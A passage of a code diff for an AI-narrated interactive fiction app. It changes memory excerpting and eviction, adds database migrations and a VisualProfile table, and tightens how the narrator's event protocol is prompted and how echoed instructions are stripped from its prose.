parts plus the marker come to exactly `budget`.
|
||||
"""
|
||||
room = max(0, budget - count_tokens(f"\n\n{EXCERPT_OMISSION_MARKER}\n\n"))
|
||||
head = room // 2
|
||||
return head, room - head
|
||||
|
||||
|
||||
def memory_excerpt(raw: str, budget: int = MEMORY_EXCERPT_TOKENS) -> str:
|
||||
"""What the summariser is shown of one block.
|
||||
|
||||
v1.1 WP-B.2. A block that fits in `budget` tokens is sent whole, exactly as
|
||||
before. A longer block used to be cut to its last `budget` tokens, and B.1
|
||||
showed that a fact near its start then never reached the summariser at all.
|
||||
It is now sent as its opening and its end, in order, with
|
||||
`EXCERPT_OMISSION_MARKER` between them, still inside `budget`.
|
||||
|
||||
Rejoining two token runs can tokenise a little differently at the seams, so
|
||||
the result is measured, and the head gives up tokens until it fits. A fact in
|
||||
the middle of a very long block is still left out: this bounds the input, it
|
||||
does not summarise everything.
|
||||
"""
|
||||
enc = _excerpt_encoding()
|
||||
tokens = enc.encode(raw)
|
||||
if len(tokens) <= budget:
|
||||
return raw
|
||||
head_n, tail_n = excerpt_split(budget)
|
||||
while True:
|
||||
excerpt = (f"{enc.decode(tokens[:head_n]).rstrip()}\n\n{EXCERPT_OMISSION_MARKER}\n\n"
|
||||
f"{enc.decode(tokens[-tail_n:]).lstrip()}" if tail_n else
|
||||
enc.decode(tokens[:head_n]))
|
||||
over = count_tokens(excerpt) - budget
|
||||
if over <= 0 or head_n == 0:
|
||||
return excerpt
|
||||
head_n = max(0, head_n - over)
|
||||
|
||||
|
||||
def memory_user_prompt(brief: str, excerpt: str) -> str:
|
||||
"""The user message of a memory call: the cast brief, then the excerpt.
|
||||
|
||||
Kept apart from `summarize_block` so an evaluation can send a model exactly
|
||||
what the application sends (v1.1 WP-B.2, `tools/memory_fidelity.py`).
|
||||
"""
|
||||
prompt = f"Story excerpt:\n\n{excerpt}\n\nMemory:"
|
||||
return f"{brief}\n\n{prompt}" if brief else prompt
|
||||
|
||||
|
||||
async def summarize_block(
|
||||
adventure: models.Adventure,
|
||||
provider: OpenAICompatibleProvider,
|
||||
@@ -815,15 +1140,16 @@ async def summarize_block(
|
||||
old text in place and moves on.
|
||||
"""
|
||||
raw = "\n\n".join(a.text for a in block)
|
||||
excerpt = truncate_to_last_tokens(raw, MEMORY_EXCERPT_TOKENS)
|
||||
excerpt = memory_excerpt(raw)
|
||||
# Match the cast against the untruncated block. The excerpt is what the
|
||||
# model reads, but a character named in the part that was trimmed is still
|
||||
# model reads, but a character named in the part that was left out is still
|
||||
# one the memory may have to name.
|
||||
brief = cast_brief(adventure, raw)
|
||||
prompt = f"Story excerpt:\n\n{excerpt}\n\nMemory:"
|
||||
return await provider.complete(
|
||||
MEMORY_SYSTEM_PROMPT, f"{brief}\n\n{prompt}" if brief else prompt
|
||||
)
|
||||
text = await provider.complete(MEMORY_SYSTEM_PROMPT, memory_user_prompt(brief, excerpt))
|
||||
# The marker is an instruction to the summariser, never a fact of the story.
|
||||
if text and EXCERPT_OMISSION_MARKER in text:
|
||||
text = " ".join(text.replace(EXCERPT_OMISSION_MARKER, " ").split())
|
||||
return text
|
||||
|
||||
|
||||
async def _create_due_memories(
|
||||
@@ -1003,11 +1329,93 @@ async def _embed_pending(
|
||||
return len(pending)
|
||||
|
||||
|
||||
def eviction_order(rows, limit: int) -> list[int]:
|
||||
"""The ids eviction would take, first to last, at most `limit` of them.
|
||||
|
||||
v1.1 WP-B.2. `rows` are the active memories of one adventure, each with
|
||||
`id`, `pinned`, `source_start`, `source_end`, `last_used_at`, `created_at`
|
||||
and `use_count`. Nothing here reads a vector or the database, so the same
|
||||
function is what the eviction pass runs and what a diagnostic reports.
|
||||
|
||||
WP-B.1 showed what pure least-recently-used order does to a long campaign.
|
||||
Retrieval is steered by the present scene, so a memory of an early stretch
|
||||
nothing recent resembles stops being used. It then becomes the least
|
||||
recently used row, and it goes first, while the bank keeps several memories
|
||||
of the last few scenes that the history window still holds in full. The
|
||||
rule below keeps the bank spread over the whole story instead.
|
||||
|
||||
**Coverage.** Memories with a source range say which stretch of the story
|
||||
they describe. A memory is judged by the hole its removal would leave: the
|
||||
number of depths between the end of the nearest memory before it and the
|
||||
start of the nearest memory after it. The smallest hole goes first, so the
|
||||
bank thins where it is densest. A memory whose start another memory shares
|
||||
(a retried or re-played stretch, or a sibling line) leaves no hole, and is
|
||||
the first kind to go. Pinned memories count as coverage, since they stay.
|
||||
|
||||
**Boundaries.** The earliest and the latest memory by position leave a hole
|
||||
with no memory on one side: removing the first loses the only record of the
|
||||
opening, and removing the last loses the only record of the most recent
|
||||
stretch, which is also what keeps a memory written this turn from being
|
||||
evicted by the pass that wrote it (the frozen bank, below). Boundaries are
|
||||
not coverage candidates.
|
||||
|
||||
**Recency.** Among memories whose removal leaves the same hole, the least
|
||||
recently used goes first (`coalesce(last_used_at, created_at)`), then the
|
||||
less used, then the lower id. Ties are therefore never left to the order the
|
||||
database returned rows in.
|
||||
|
||||
**Fallback.** When no memory is a coverage candidate — memories typed by the
|
||||
player or migrated from before coordinates have no range, and a bank can be
|
||||
all boundaries — the rest are taken least recently used first, exactly as
|
||||
v1.0.0 did. The bank stays bounded either way. Pinned memories are never
|
||||
taken; if every active memory is pinned, capacity yields to the pins.
|
||||
|
||||
Recomputed after each pick, because removing one memory widens the holes
|
||||
of its neighbours.
|
||||
"""
|
||||
remaining = {row.id: row for row in rows if not row.pinned}
|
||||
coverers = {row.id: row for row in rows
|
||||
if row.source_start is not None and row.source_end is not None}
|
||||
|
||||
def recency(row):
|
||||
return (row.last_used_at or row.created_at, row.use_count or 0, row.id)
|
||||
|
||||
order: list[int] = []
|
||||
while remaining and len(order) < limit:
|
||||
spans = sorted(coverers.values(), key=lambda r: (r.source_start, r.source_end, r.id))
|
||||
starts: dict[int, int] = {}
|
||||
for row in spans:
|
||||
starts[row.source_start] = starts.get(row.source_start, 0) + 1
|
||||
best = None
|
||||
furthest_end = None # the largest source_end before index i
|
||||
for i, row in enumerate(spans):
|
||||
if row.id in remaining:
|
||||
if starts[row.source_start] > 1:
|
||||
cost = 0
|
||||
elif i == 0 or i == len(spans) - 1:
|
||||
cost = None # a boundary
|
||||
else:
|
||||
cost = max(0, spans[i + 1].source_start - furthest_end - 1)
|
||||
if cost is not None:
|
||||
key = (cost, *recency(row))
|
||||
if best is None or key < best[0]:
|
||||
best = (key, row.id)
|
||||
furthest_end = row.source_end if furthest_end is None else max(furthest_end, row.source_end)
|
||||
if best is None:
|
||||
victim = min(remaining.values(), key=recency).id
|
||||
else:
|
||||
victim = best[1]
|
||||
order.append(victim)
|
||||
del remaining[victim]
|
||||
coverers.pop(victim, None)
|
||||
return order
|
||||
|
||||
|
||||
def _evict_over_capacity(
|
||||
adventure: models.Adventure, settings: models.Settings, db: Session
|
||||
) -> None:
|
||||
# The database performs both the count and the ranking, and returns neither
|
||||
# the rows nor the vectors. Counting by walking `adventure.memories` fetched
|
||||
# The database performs the count, and the rows read for ordering carry
|
||||
# neither text nor vectors. Counting by walking `adventure.memories` fetched
|
||||
# every vector in the bank on every turn, whether or not the bank was over
|
||||
# capacity.
|
||||
in_this_bank = (models.Memory.adventure_id == adventure.id,
|
||||
@@ -1018,32 +1426,23 @@ def _evict_over_capacity(
|
||||
overflow = active - max(1, settings.memory_bank_capacity)
|
||||
if overflow <= 0:
|
||||
return
|
||||
# Evict the least recently used memory first, and use the use count only to
|
||||
# break ties.
|
||||
# v1.1 WP-B.2: the order is `eviction_order`, coverage first and recency
|
||||
# second. It replaces least recently used alone; see that function.
|
||||
#
|
||||
# Ordering by use count first froze the bank. A memory written on this turn
|
||||
# has never been used, so once every other memory had been retrieved at
|
||||
# least once, the new memory held the lowest count in the bank. The same
|
||||
# post-turn run that wrote it then evicted it, one pass after embedding it.
|
||||
# Use counts only increase, so the bank never recovered. An adventure kept
|
||||
# whatever memories it held when the bank first filled, and every later
|
||||
# memory was summarized, marked as forgotten, and never ranked.
|
||||
#
|
||||
# Ordering by recency avoids that. A new memory carries the newest
|
||||
# timestamp, so it is the last row to be evicted rather than the first, and
|
||||
# it remains until other memories are used. Demoting the use count costs
|
||||
# little, because retrieving a useful memory also makes it recent. The two
|
||||
# orderings differ only for memories that were used once and have not been
|
||||
# retrieved since, which are the rows a full bank should evict.
|
||||
doomed = db.execute(
|
||||
select(models.Memory.id)
|
||||
.where(*in_this_bank, models.Memory.pinned.is_(False))
|
||||
.order_by(
|
||||
func.coalesce(models.Memory.last_used_at, models.Memory.created_at),
|
||||
models.Memory.use_count,
|
||||
)
|
||||
.limit(overflow)
|
||||
).scalars().all()
|
||||
# What the old ordering fixed still holds. Ordering by use count first froze
|
||||
# the bank: a memory written on this turn has never been used, so once every
|
||||
# other memory had been retrieved at least once, the new memory held the
|
||||
# lowest count in the bank, and the same post-turn run that wrote it evicted
|
||||
# it. Counts only increase, so the bank never recovered. Under the coverage
|
||||
# rule the newest memory is the latest boundary, so it is not a coverage
|
||||
# candidate, and in the fallback it carries the newest timestamp.
|
||||
rows = db.execute(
|
||||
select(models.Memory.id, models.Memory.pinned, models.Memory.source_start,
|
||||
models.Memory.source_end, models.Memory.last_used_at,
|
||||
models.Memory.created_at, models.Memory.use_count)
|
||||
.where(*in_this_bank)
|
||||
).all()
|
||||
doomed = eviction_order(rows, overflow)
|
||||
if not doomed:
|
||||
return # Every active memory is pinned, so the pins override capacity.
|
||||
db.execute(
|
||||
|
||||
@@ -433,6 +433,52 @@ MIGRATIONS: list[tuple[int, str | dict[str, str]]] = [
|
||||
# Such a campaign opens with an empty library and needs no source to play.
|
||||
(92, {"sqlite": fts.DDL,
|
||||
"default": "-- FTS5 is SQLite-only; this build stores campaigns in SQLite"}),
|
||||
|
||||
# M10 adds **no migration**, and that is the whole of its schema story.
|
||||
#
|
||||
# `visual_profiles` is a new table, so `create_all` builds it on every path
|
||||
# — fresh install, existing database, test setup — exactly as it did for
|
||||
# `memories`, `branches`, `checkpoints`, `summaries` and the knowledge
|
||||
# tables. Its one index is declared on the column (`index=True`) rather than
|
||||
# in `__table_args__`, so `create_all` builds that too, which is what
|
||||
# version 92's note above says about the M7 tables: when the index is on the
|
||||
# column there is nothing left for a `CREATE INDEX` here to do.
|
||||
#
|
||||
# A version 93 was written here first, adding
|
||||
# `ix_visual_profiles_adventure`. It was wrong, and the M10 suite's
|
||||
# fresh-versus-upgraded comparison is what found it: an upgraded database
|
||||
# ended up with that index *and* the `ix_visual_profiles_adventure_id` that
|
||||
# `create_all` had already made, while a fresh install had only the latter.
|
||||
# Two schemas that differ by which path the file took is the thing a
|
||||
# migration exists to prevent, and the redundant index was the only
|
||||
# difference between them.
|
||||
#
|
||||
# **No backfill, and there is nothing that could be backfilled.** A profile
|
||||
# says what an entity looks like, and no existing column holds that: the
|
||||
# narrative state records what entities *are* — type, status, description,
|
||||
# location — and inventing an appearance from a description would be
|
||||
# fabricating exactly the kind of visual detail
|
||||
# `MEDIA-EXTENSION-CONTRACT.md` §37 says must never appear without the
|
||||
# reader asking for it. An M9 campaign therefore opens with no profiles,
|
||||
# which is what such a campaign had, and plays unchanged without any.
|
||||
|
||||
# M11: the campaign's narration-length choice (post-M8 finding C). A new
|
||||
# column on an existing table, which `create_all` cannot add, so unlike M10
|
||||
# this one does need a migration.
|
||||
#
|
||||
# **No backfill, and the empty default is the correct value.** A campaign
|
||||
# created before M11 never made this choice — its length preference lives,
|
||||
# if anywhere, as an English sentence somebody may have edited inside
|
||||
# `ai_instructions`. Reading a length back out of that free text would be
|
||||
# inventing a decision the reader did not record. An empty value means "no
|
||||
# choice", and `length_hint` then behaves exactly as it did before M11, so
|
||||
# an existing campaign's prompts do not change under it.
|
||||
(93, "ALTER TABLE adventures ADD COLUMN narration_length VARCHAR(20) "
|
||||
"NOT NULL DEFAULT ''"),
|
||||
# Nullable, and null by default: an override that defaulted to a number
|
||||
# would be the application guessing at a window again, which is the one
|
||||
# thing `contextwindow` refuses to do. Null means "nobody has said".
|
||||
(94, "ALTER TABLE settings ADD COLUMN context_window_override INTEGER"),
|
||||
]
|
||||
|
||||
LATEST_VERSION = max((v for v, _ in MIGRATIONS), default=1)
|
||||
|
||||
@@ -99,6 +99,15 @@ class Adventure(Base):
|
||||
memory: Mapped[str] = mapped_column(Text, default="")
|
||||
authors_note: Mapped[str] = mapped_column(Text, default="")
|
||||
ai_instructions: Mapped[str] = mapped_column(Text, default="")
|
||||
#: M11, post-M8 finding C: how long the reader asked turns to be — "brief",
|
||||
#: "medium", "long", or empty for a campaign that never chose. Stored as its
|
||||
#: own field rather than left inside `ai_instructions`, because the prompt
|
||||
#: builder has to *derive a number* from it (`context.builder.LENGTH_BANDS`)
|
||||
#: and reading an English sentence back out of a free-text field to do that
|
||||
#: would be a parser nobody wants. The sentence still goes into the
|
||||
#: instructions, where the reader can edit or remove it; this is the part the
|
||||
#: application acts on.
|
||||
narration_length: Mapped[str] = mapped_column(String(20), default="")
|
||||
# A convenience mirror of whichever summary is eligible at the current
|
||||
# position, and **never** an input to anything authoritative (M6 corrective,
|
||||
# review finding M6-F1).
|
||||
@@ -246,6 +255,13 @@ class Adventure(Base):
|
||||
cascade="all, delete-orphan",
|
||||
order_by="KnowledgeSource.id",
|
||||
)
|
||||
# M10: how the campaign's entities look. Derived presentation metadata, not
|
||||
# story state — see `VisualProfile`.
|
||||
visual_profiles: Mapped[list["VisualProfile"]] = relationship(
|
||||
back_populates="adventure",
|
||||
cascade="all, delete-orphan",
|
||||
order_by="VisualProfile.id",
|
||||
)
|
||||
|
||||
|
||||
class Branch(Base):
|
||||
@@ -802,6 +818,108 @@ class KnowledgeEmbedding(Base):
|
||||
chunk: Mapped[KnowledgeChunk] = relationship(back_populates="embedding")
|
||||
|
||||
|
||||
class VisualProfile(Base):
|
||||
"""M10: how one entity looks, so a future depiction can be consistent.
|
||||
|
||||
The only thing M10 persists, and the reason is that it was the only thing
|
||||
the media contract asks for that nothing already stored. The scene snapshot
|
||||
§5 asks for already exists as `narrative_state["scene"]` and has since M5;
|
||||
building a second one beside it would have been a duplicate representation
|
||||
with its own lineage rules to get wrong.
|
||||
|
||||
## Not story state, and structurally so
|
||||
|
||||
A visual profile is **presentation metadata**. Nothing here is a fact the
|
||||
story established: `MEDIA-EXTENSION-CONTRACT.md` §35 and §37 are explicit
|
||||
that a depiction — and therefore a description written to guide one — must
|
||||
never become canon on its own, and that promoting a visual detail into canon
|
||||
would have to be a deliberate act by the reader.
|
||||
|
||||
So these rows are deliberately **outside** the M5 pipeline. They are not
|
||||
events, they are not validated by `narrative/validate.py`, they are not in
|
||||
the state document, and they are not snapshotted per position. Writing one
|
||||
cannot change `narrative_state`, because nothing in `media/` imports the
|
||||
code that may. That is the guarantee, and it is a structural one rather than
|
||||
a rule somebody has to remember.
|
||||
|
||||
## Campaign-scoped, not per-position — which is the interesting decision
|
||||
|
||||
Every other derived record in this schema carries a `(branch_id, depth)`
|
||||
coordinate, because it describes a *moment*: a memory summarises a stretch,
|
||||
a summary covers a range, a snapshot records an outcome. A visual profile
|
||||
describes none of those. It says what someone looks like, and a character
|
||||
does not change appearance because the story forked.
|
||||
|
||||
Making it per-position would have been actively wrong twice over. It would
|
||||
have meant a profile written on one branch was invisible on another, so a
|
||||
reader who diverged would lose their cast's appearance — the opposite of the
|
||||
continuity the profile exists for. And it would have put a descriptor
|
||||
document into every per-position state snapshot, which M9 measured as
|
||||
already 74% of a campaign bundle; the profiles would have been duplicated
|
||||
once per turn to say something that never varies.
|
||||
|
||||
So the key is `(adventure_id, entity_key)` and there is exactly one profile
|
||||
per entity per campaign. It is stable across Undo, Redo, Save Point restore
|
||||
and divergence for the same reason it is simple: there is nothing there to
|
||||
move.
|
||||
|
||||
## `entity_key` is the M5 key, and no second identity namespace
|
||||
|
||||
The key is the entity key the narrative state already uses — `"mara"`,
|
||||
`"the_office"`, `"silver_key"` — not a new id, not a name, and not a media
|
||||
identifier. `MEDIA-EXTENSION-CONTRACT.md` §7-9 describe character, location
|
||||
and item profiles separately; this is one table for all three, because M5's
|
||||
entity model is genre-neutral by design (`DATA-MODEL.md` §9) and a
|
||||
character, a location, an item, a vehicle and a spaceship are all entities
|
||||
with a `type`. Splitting them here would have reintroduced the genre shape
|
||||
M5 spent a milestone removing.
|
||||
|
||||
There is no `kind` column for the same reason: the entity already has a
|
||||
`type`, and storing it again would be a second source of truth for one fact.
|
||||
|
||||
## The columns, and why they are shaped this way
|
||||
|
||||
The contract's examples are fantasy-shaped — hair, eyes, build; architecture,
|
||||
hearths, oil lamps — and the brief is explicit that they are examples rather
|
||||
than a schema. A fixed column per fantasy attribute would not hold an
|
||||
orbital station, a corporate office or a car.
|
||||
|
||||
So: `descriptors` is an open map of trait to value, `features` is a list of
|
||||
distinctive visible things, and `style_notes` is free text about how it
|
||||
should be rendered. `{"hair": "dark auburn"}` and
|
||||
`{"hull": "pitted white composite"}` are the same shape, and neither needed
|
||||
a migration to become possible.
|
||||
"""
|
||||
|
||||
__tablename__ = "visual_profiles"
|
||||
__table_args__ = (
|
||||
# One profile per entity per campaign. The uniqueness is the model: a
|
||||
# second profile for the same entity would be a second answer to "what
|
||||
# does this look like", with nothing to decide between them.
|
||||
UniqueConstraint("adventure_id", "entity_key", name="uq_visual_entity"),
|
||||
)
|
||||
|
||||
id: Mapped[int] = mapped_column(primary_key=True)
|
||||
adventure_id: Mapped[int] = mapped_column(
|
||||
ForeignKey("adventures.id", ondelete="CASCADE"), index=True
|
||||
)
|
||||
#: The narrative-state entity key. Not a display name: two characters may
|
||||
#: share a name, and M9's report recorded that the state model permits it.
|
||||
entity_key: Mapped[str] = mapped_column(String(200))
|
||||
#: Trait -> value. Open by construction; see the class docstring.
|
||||
descriptors: Mapped[dict] = mapped_column(JSON, default=dict)
|
||||
#: Distinctive visible things, as short phrases.
|
||||
features: Mapped[list] = mapped_column(JSON, default=list)
|
||||
#: How it should be rendered, rather than what it is.
|
||||
style_notes: Mapped[str] = mapped_column(Text, default="")
|
||||
created_at: Mapped[datetime] = mapped_column(DateTime, default=utcnow)
|
||||
updated_at: Mapped[datetime] = mapped_column(
|
||||
DateTime, default=utcnow, onupdate=utcnow
|
||||
)
|
||||
|
||||
adventure: Mapped[Adventure] = relationship(back_populates="visual_profiles")
|
||||
|
||||
|
||||
class StoryCard(Base):
|
||||
"""Owned by either a scenario or an adventure (exactly one set)."""
|
||||
|
||||
@@ -1106,6 +1224,14 @@ class Settings(Base):
|
||||
# while the same turn takes seconds once the model is resident. See
|
||||
# `providers.openai_compatible.DEFAULT_READ_TIMEOUT`.
|
||||
model_timeout_seconds: Mapped[int] = mapped_column(Integer, default=300)
|
||||
# What window the inference server enforces, when the server cannot be asked
|
||||
# for it. Discovery (`contextwindow`) speaks Ollama's native API; a server
|
||||
# that does not serve one — vLLM, llama.cpp's own server — leaves the window
|
||||
# unknown and the budget uncapped. This is the operator saying how they
|
||||
# launched it. It never overrides a window the server did report, and null
|
||||
# means nobody has said, because a default here would be a guess.
|
||||
context_window_override: Mapped[int | None] = mapped_column(
|
||||
Integer, nullable=True, default=None)
|
||||
narrator_prompt: Mapped[str] = mapped_column(
|
||||
Text,
|
||||
default=(
|
||||
|
||||
@@ -35,6 +35,8 @@ creating a second, empty Mara.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
|
||||
# Field types the schema layer enforces. Kept deliberately small: a narrative
|
||||
# state event carries names, labels and plain values, and nothing here needs a
|
||||
# nested structure a model could hide something inside.
|
||||
@@ -184,11 +186,30 @@ def vocabulary_for_prompt() -> str:
|
||||
Generated from `SPECS` rather than written out beside it, so the model can
|
||||
never be told about an event the application does not implement — the drift
|
||||
that would produce proposals rejected for reasons nobody could see.
|
||||
|
||||
v1.1 WP-A2: each event is shown as the object the model must put in the
|
||||
`events` list, with its required fields, not as `name(field, …)`. The call
|
||||
notation was never the wire format, and a 3B narrator copied it into its
|
||||
prose as `> set_possession(silver-key, "alice")`. An object copied into prose
|
||||
is a proposal the extractor already recognises and removes; a call is not.
|
||||
"""
|
||||
lines = []
|
||||
for name, definition in SPECS.items():
|
||||
fields = list(definition["required"]) + [
|
||||
f"{field}?" for field in definition["optional"]
|
||||
]
|
||||
lines.append(f' {name}({", ".join(fields)}) — {definition["summary"]}')
|
||||
shape = {"type": name}
|
||||
for field, kind in definition["required"].items():
|
||||
shape[field] = _PLACEHOLDER[kind]
|
||||
body = json.dumps(shape, ensure_ascii=False, separators=(",", ":"))
|
||||
line = f" {body} — {definition['summary']}"
|
||||
if definition["optional"]:
|
||||
line += f" (optional: {', '.join(definition['optional'])})"
|
||||
lines.append(line)
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
#: What a field of each kind looks like in the prompt's vocabulary. Placeholders,
|
||||
#: never example identifiers, so the vocabulary names nothing a story could copy.
|
||||
#: A list field is shown as a list, so the model is told its shape; every other
|
||||
#: field is an ellipsis. Measured: `"<key>"`-style placeholders with spaced
|
||||
#: separators cost 456 tokens against v1.0.0's 258; this form costs about 380,
|
||||
#: and every line is still the object the model must send.
|
||||
_PLACEHOLDER = {KEY: "…", TEXT: "…", VALUE: "…", LABELS: ["…"]}
|
||||
|
||||
@@ -24,7 +24,7 @@ from __future__ import annotations
|
||||
import json
|
||||
import re
|
||||
|
||||
from . import events
|
||||
from . import events, render
|
||||
|
||||
# The block the model is asked to append. Built from the vocabulary rather than
|
||||
# written beside it, so the instruction cannot describe an event the application
|
||||
@@ -37,17 +37,17 @@ EMIT_RULE = (
|
||||
"appeared, record it.\n"
|
||||
"\n"
|
||||
"Every value is ABSOLUTE — the new state of things, never a change or a "
|
||||
"difference. Use only these events:\n"
|
||||
"difference. Use only these events, in exactly this shape:\n"
|
||||
f"{events.vocabulary_for_prompt()}\n"
|
||||
"\n"
|
||||
"Identifiers are short lower-case slugs (mara, silver-key, old-abbey) and must "
|
||||
"match the ones already in the state you were shown. Introduce a person, place "
|
||||
"or thing with create_entity before referring to it. If the turn established "
|
||||
"nothing, send an empty events list.\n"
|
||||
"Identifiers are short lower-case slugs and must match the ones already in the "
|
||||
"state you were shown; the example's identifiers are placeholders. Introduce a "
|
||||
"person, place or thing with create_entity before referring to it. If the turn "
|
||||
"established nothing, send an empty events list.\n"
|
||||
"Example:\n"
|
||||
'```state\n'
|
||||
'{"events": [{"type": "set_possession", "item": "silver-key", "owner": "aldric"},'
|
||||
' {"type": "set_current_location", "entity": "aldric", "location": "old-abbey"}]}\n'
|
||||
'{"events": [{"type": "set_possession", "item": "item-1", "owner": "character-1"},'
|
||||
' {"type": "set_current_location", "entity": "character-1", "location": "location-1"}]}\n'
|
||||
'```'
|
||||
)
|
||||
|
||||
@@ -58,6 +58,47 @@ EMIT_REMINDER = (
|
||||
"nothing changed.]"
|
||||
)
|
||||
|
||||
# v1.1 WP-A2: the length hint's own words, named once. `builder.length_hint`
|
||||
# builds the hint from these, and the extractor recognises an echo of it by
|
||||
# them, so the two cannot drift apart.
|
||||
LENGTH_HINT_OPENING = "[Hard limit:"
|
||||
LENGTH_HINT_TAIL = "Finish the narration and append the state block well inside the limit."
|
||||
#: The application's wording inside a hint. A 3B narrator reworded the front
|
||||
#: ("your next turn") and the end ("This story ends here."), and kept one or the
|
||||
#: other of these every time.
|
||||
_LENGTH_HINT_PHRASE_RE = re.compile(
|
||||
r"append the state block|turn must not exceed \d+ words", re.IGNORECASE
|
||||
)
|
||||
|
||||
#: v1.1 WP-A2: the rules that remove protocol a narrator copied, named so the
|
||||
#: replay tool and the report can say which removed what.
|
||||
RULE_EVENT_CALL = "event_call_line"
|
||||
RULE_LENGTH_HINT = "echoed_length_hint"
|
||||
RULE_SCENE_LINE = "rendered_scene_line"
|
||||
RULE_EMPTY_FENCE = "empty_dangling_fence"
|
||||
RULE_INSTRUCTION_TAIL = "echoed_instruction_tail"
|
||||
|
||||
#: v1.1 WP-A2 corrective (R5). The sentence `CHAT_CONTINUE_HINT` in
|
||||
#: `providers/openai_compatible.py` carries, which a narrator echoed with the rest
|
||||
#: of the hint reworded around it. Kept as a copy rather than an import, so the
|
||||
#: narrative package does not depend on the provider; a test pins that the
|
||||
#: hint still contains it.
|
||||
CONTINUE_HINT_PHRASE = "Output only story text"
|
||||
|
||||
# R1. A whole line opening with a call to an event this protocol has. The names
|
||||
# come from the vocabulary, so a call-shaped line naming anything else — a
|
||||
# character's `open_door(north)` — is not matched.
|
||||
_EVENT_CALL_LINE_RE = re.compile(
|
||||
r"^[ \t]*(?:>[ \t]*)?(?:"
|
||||
+ "|".join(re.escape(name) for name in events.SPECS)
|
||||
+ r")[ \t]*\(",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
# R3. The renderer's scene line carries its location this way.
|
||||
_RENDERED_SCENE_LOCATION_RE = re.compile(r"\(at [^()\n]+\)\s*$")
|
||||
# R4. An opener with nothing after it.
|
||||
_EMPTY_FENCE_LINE_RE = re.compile(r"```(?:json)?[ \t]*", re.IGNORECASE)
|
||||
|
||||
# Three patterns, and the difference between them is the whole of this module's
|
||||
# safety. A story is allowed to contain code, and taking a code block out of
|
||||
# someone's prose is a worse failure than leaving a stray proposal in it.
|
||||
@@ -67,8 +108,13 @@ EMIT_REMINDER = (
|
||||
# will take. That block must still leave the prose, and must still be recorded,
|
||||
# because an unparseable proposal is exactly the failure the audit exists to
|
||||
# make visible.
|
||||
#
|
||||
# The label must end the fence line or run straight into the payload. Without
|
||||
# that, "a ```state block" inside a parroted reminder read as a fence opening,
|
||||
# and everything up to the next fence was cut out of the middle of the reminder
|
||||
# (M11 long-run trial).
|
||||
_STATE_FENCE_RE = re.compile(
|
||||
r"```state[^\S\n]*\n?(.*?)```", re.DOTALL | re.IGNORECASE
|
||||
r"```state[^\S\n]*(?:\n|(?=[\[{]))(.*?)```", re.DOTALL | re.IGNORECASE
|
||||
)
|
||||
# `json` is *not* our label. Models reach for it anyway, so a ```json fence is
|
||||
# taken only when what it contains is actually a proposal. A character who
|
||||
@@ -91,7 +137,9 @@ _TRAILING_RE = re.compile(r"(\{.*\})\s*$", re.DOTALL)
|
||||
# Our own label ends the story unconditionally. A dangling ```json fence is
|
||||
# judged on what follows it, because an unterminated code block in a story is
|
||||
# still the author's (M5 review, Finding 6).
|
||||
_DANGLING_STATE_RE = re.compile(r"\n?```state\b.*\Z", re.DOTALL | re.IGNORECASE)
|
||||
_DANGLING_STATE_RE = re.compile(
|
||||
r"\n?```state[^\S\n]*(?:\n|(?=[\[{])|\Z).*\Z", re.DOTALL | re.IGNORECASE
|
||||
)
|
||||
_DANGLING_JSON_RE = re.compile(r"\n?```json\b(.*)\Z", re.DOTALL | re.IGNORECASE)
|
||||
|
||||
# The reminder, parroted back. Small local models reproduce the bracketed
|
||||
@@ -104,6 +152,9 @@ _DANGLING_JSON_RE = re.compile(r"\n?```json\b(.*)\Z", re.DOTALL | re.IGNORECASE)
|
||||
# the echo is the shape of the instruction itself — the fence token, the word it
|
||||
# opens with, or the pair of phrases the reminder uses together.
|
||||
_TRAILING_BRACKET_RE = re.compile(r"\n?\[([^\]]*)\]\s*\Z", re.DOTALL)
|
||||
# The same echo cut off before its closing bracket, which a reply that runs
|
||||
# into the output limit leaves at the end.
|
||||
_UNCLOSED_BRACKET_RE = re.compile(r"\n?\[([^\]\n]*)\Z")
|
||||
|
||||
|
||||
def _is_echoed_instruction(inner: str) -> bool:
|
||||
@@ -113,12 +164,60 @@ def _is_echoed_instruction(inner: str) -> bool:
|
||||
return True
|
||||
if low.lstrip().startswith("reminder:"):
|
||||
return True
|
||||
# `CHAT_CONTINUE_HINT` in `providers/openai_compatible.py`, which a model
|
||||
# also parrots back, observed in the M11 long-run trial. Matched by its
|
||||
# opening words only, because the echo is often cut off before it ends.
|
||||
if low.lstrip().startswith("continue the story directly"):
|
||||
return True
|
||||
# v1.1 WP-A2 corrective (R5): the same hint, reworded at the front. The M11
|
||||
# closeout-era identity re-run stored "[You don't need to continue; … Continue
|
||||
# the story here, directly. Output only story text.]" as the last line of a
|
||||
# reply, and because nothing recognised it, nothing above it was trailing.
|
||||
if CONTINUE_HINT_PHRASE.lower() in low:
|
||||
return True
|
||||
# v1.1 WP-A2 (R2): the length hint, which names "state block" but not
|
||||
# "events list", so it passed every check above.
|
||||
if _is_length_hint(inner):
|
||||
return True
|
||||
# The reminder names both; prose about the protocol rarely names either the
|
||||
# way the instruction does, and effectively never both.
|
||||
return "state block" in low and "events list" in low
|
||||
|
||||
|
||||
def _clean(prose: str) -> str:
|
||||
def _opens_like_length_hint(inner: str) -> bool:
|
||||
"""R5. The bracket opens with the length hint's own `Hard limit:`, whatever follows.
|
||||
|
||||
Never enough on its own: an in-world "[Hard limit: forty days]" opens the same
|
||||
way. `_clean` takes it only directly above an echoed instruction it has already
|
||||
removed from the end of the same reply.
|
||||
"""
|
||||
return inner.lstrip().lower().startswith(LENGTH_HINT_OPENING[1:].lower())
|
||||
|
||||
|
||||
def _is_length_hint(inner: str) -> bool:
|
||||
"""Whether a bracket's contents are `builder.length_hint`, however reworded.
|
||||
|
||||
It must open the way the hint opens *and* carry the hint's own wording. An
|
||||
in-world "Hard limit: forty days" has the opening and none of the wording.
|
||||
"""
|
||||
opening = LENGTH_HINT_OPENING[1:].lower()
|
||||
return (inner.lstrip().lower().startswith(opening)
|
||||
and bool(_LENGTH_HINT_PHRASE_RE.search(inner)))
|
||||
|
||||
|
||||
# A heading the model writes above a block it did not fence: `State`, sometimes
|
||||
# as `State:`, `**State**` or `### State`. It is removed only in two places:
|
||||
# directly above a proposal that is removed, and as the last line of the reply.
|
||||
# A line reading "State" in the middle of a story is left alone.
|
||||
_STATE_HEADING_RE = re.compile(r"^[ \t>*#_]*state[ \t*_:]*$", re.IGNORECASE)
|
||||
|
||||
